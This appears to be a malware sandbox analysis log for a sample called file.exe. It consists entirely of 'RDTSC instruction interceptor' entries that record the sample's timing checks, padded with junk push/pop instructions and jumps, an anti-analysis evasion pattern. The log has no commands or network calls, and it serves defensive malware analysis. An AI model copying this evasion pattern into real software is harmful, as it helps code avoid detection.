Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B251 second address: 143B255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B255 second address: 143B259 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143BA9C second address: 143BAA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143BAA2 second address: 143BABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F7650B5E941h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143BABB second address: 143BAC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14409FF second address: 1440A26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Dh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F7650B5E93Dh 0x0000000f jnl 00007F7650B5E936h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1440A26 second address: 1440A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144389D second address: 14438AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jnp 00007F7650B5E944h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14438AE second address: 14438B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14440AE second address: 14440B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144435E second address: 1444379 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a je 00007F7650B5D3D6h 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop edx 0x00000013 jp 00007F7650B5D3D8h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1444379 second address: 144438B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Bh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144A33F second address: 144A357 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144A357 second address: 144A35C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144A35C second address: 144A362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144AA11 second address: 144AA20 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7650B5E93Ah 0x00000008 push esi 0x00000009 pop esi 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144B7E3 second address: 144B7F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7650B5D3DBh 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144B7F3 second address: 144B82A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E942h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F7650B5E965h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7650B5E949h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144B82A second address: 144B833 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144B833 second address: 144B839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14500D6 second address: 1450114 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3E2h 0x00000007 jl 00007F7650B5D3DEh 0x0000000d pushad 0x0000000e popad 0x0000000f jnc 00007F7650B5D3D6h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jmp 00007F7650B5D3DEh 0x0000001d pushad 0x0000001e jnp 00007F7650B5D3D6h 0x00000024 pushad 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144FF0B second address: 144FF2B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F7650B5E948h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144FF2B second address: 144FF68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3E8h 0x00000007 jmp 00007F7650B5D3E8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144FF68 second address: 144FF6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144FF6C second address: 144FF84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7650B5D3DEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144FF84 second address: 144FF88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14517D8 second address: 14517E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F7650B5D3D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145632E second address: 1456341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jns 00007F7650B5E938h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1456341 second address: 1456345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1456345 second address: 1456349 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455FD7 second address: 1455FE1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7650B5D3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455FE1 second address: 145600D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E947h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7650B5E93Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146405F second address: 146406D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 ja 00007F7650B5D3D6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146406D second address: 1464076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1464076 second address: 146407A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146407A second address: 1464080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146886F second address: 1468890 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3E3h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F7650B5D3D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1468890 second address: 14688EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E948h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F7650B5E938h 0x0000000f push esi 0x00000010 ja 00007F7650B5E936h 0x00000016 jnc 00007F7650B5E936h 0x0000001c pop esi 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F7650B5E940h 0x00000025 jne 00007F7650B5E947h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14688EC second address: 14688F1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146D7C1 second address: 146D7C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146D7C8 second address: 146D7D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F7650B5D3D6h 0x00000009 js 00007F7650B5D3D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146D7D9 second address: 146D7DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147C84E second address: 147C853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147C853 second address: 147C866 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Ch 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147C866 second address: 147C86C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147C9C5 second address: 147C9C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147C9C9 second address: 147C9D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147C9D1 second address: 147C9D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CB19 second address: 147CB27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CB27 second address: 147CB49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E942h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F7650B5E936h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CDDC second address: 147CDEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jl 00007F7650B5D3D6h 0x0000000c js 00007F7650B5D3D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CDEE second address: 147CE0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E940h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a js 00007F7650B5E946h 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CE0F second address: 147CE13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CF90 second address: 147CF98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147DC1F second address: 147DC29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F7650B5D3D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148281C second address: 1482820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1482820 second address: 1482838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F7650B5D3DAh 0x0000000c jng 00007F7650B5D3DCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1486419 second address: 148641F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148641F second address: 1486434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F7650B5D3DBh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1486434 second address: 1486439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1491E85 second address: 1491E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1491CC6 second address: 1491CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7650B5E936h 0x0000000a pop esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1491CD6 second address: 1491CF4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F7650B5D3E2h 0x0000000e jng 00007F7650B5D3D6h 0x00000014 jp 00007F7650B5D3D6h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1491CF4 second address: 1491CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149F872 second address: 149F876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149F876 second address: 149F87A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149F87A second address: 149F886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149F886 second address: 149F89F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E945h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149F89F second address: 149F8AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149F8AB second address: 149F8B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jng 00007F7650B5E938h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149F8B8 second address: 149F8C7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007F7650B5D3D6h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149F8C7 second address: 149F8CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149F591 second address: 149F5B4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7650B5D3D6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7650B5D3E3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B504E second address: 14B5085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7650B5E943h 0x00000009 popad 0x0000000a pushad 0x0000000b jc 00007F7650B5E936h 0x00000011 jnl 00007F7650B5E936h 0x00000017 popad 0x00000018 push ecx 0x00000019 push edx 0x0000001a pop edx 0x0000001b pop ecx 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jp 00007F7650B5E93Ah 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B5085 second address: 14B5096 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 jp 00007F7650B5D3D6h 0x0000000d popad 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B4129 second address: 14B412F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B412F second address: 14B4133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B4133 second address: 14B4139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B4A48 second address: 14B4A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B4A4E second address: 14B4A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7650B5E947h 0x0000000c jnp 00007F7650B5E936h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B4A72 second address: 14B4A94 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7650B5D3E8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B4A94 second address: 14B4A9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B4BEC second address: 14B4C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7650B5D3E5h 0x00000009 jbe 00007F7650B5D3D6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B4C0C second address: 14B4C32 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jl 00007F7650B5E936h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7650B5E948h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7FCB second address: 14B7FD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14B7FD1 second address: 14B7FD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BAE12 second address: 14BAE18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BAE18 second address: 14BAE49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7650B5E949h 0x0000000a popad 0x0000000b jbe 00007F7650B5E94Eh 0x00000011 jnl 00007F7650B5E938h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BAE49 second address: 14BAE4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BA99F second address: 14BA9A9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7650B5E936h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BA9A9 second address: 14BA9B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BA9B3 second address: 14BA9B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14BC868 second address: 14BC86E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70214 second address: 4F7021B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7021B second address: 4F70229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov dl, ah 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70229 second address: 4F70240 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov di, ax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70240 second address: 4F70290 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dx, cx 0x0000000c popad 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F7650B5D3DAh 0x00000016 sub ax, D2E8h 0x0000001b jmp 00007F7650B5D3DBh 0x00000020 popfd 0x00000021 pushad 0x00000022 movzx eax, bx 0x00000025 mov esi, edx 0x00000027 popad 0x00000028 popad 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f push esi 0x00000030 pop ebx 0x00000031 popad 0x00000032 rdtsc
